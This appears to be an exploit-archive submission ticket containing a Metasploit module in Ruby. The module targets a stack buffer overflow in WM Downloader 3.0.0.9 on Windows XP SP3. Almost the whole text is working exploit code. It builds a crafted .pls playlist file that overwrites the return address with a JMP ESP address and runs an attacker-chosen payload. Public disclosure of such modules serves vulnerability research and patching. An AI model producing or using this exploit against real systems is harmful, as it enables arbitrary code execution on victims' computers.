WM Downloader Buffer Overflow Exploit

`New Ticket: WM Downloader version 3.0.0.9 Buffer Overflow (MSF)  
  
# Exploit Title: WM Downloader version 3.0.0.9 Buffer Overflow (MSF)  
# Date: 4/25/10  
# Author: Blake  
# Version: 3.0.0.9  
# Tested on: Windows XP SP3 running in Virtualbox  
  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WM Downloader Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a stack overflow in WM Downloader  
version 3.0.0.9.  
By creating a specially crafted .pls file, an an attacker may be  
able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Blake',  
],  
'Version' => '$Revision: 1 $',  
'References' =>  
[  
[ 'OSVDB', '62614' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/11384' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 1904,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3', { 'Ret' => 0x7C96BF33} ], #  
ntdll.dll JMP ESP  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 10 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.',  
'exploit.pls']),  
], self.class)  
end  
  
  
def exploit  
  
sploit = rand_text_alphanumeric(26084)  
sploit << [target.ret].pack('V')  
sploit << make_nops(20)  
sploit << payload.encoded  
sploit << rand_text_alphanumeric(28000 - payload.encoded.length)  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(sploit)  
  
end  
  
end  
  
  
  
Ticket Details  
===================  
Ticket ID: EUN-504522  
Department: Exploits  
Priority: Medium  
Status: Open  
Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=3753  
`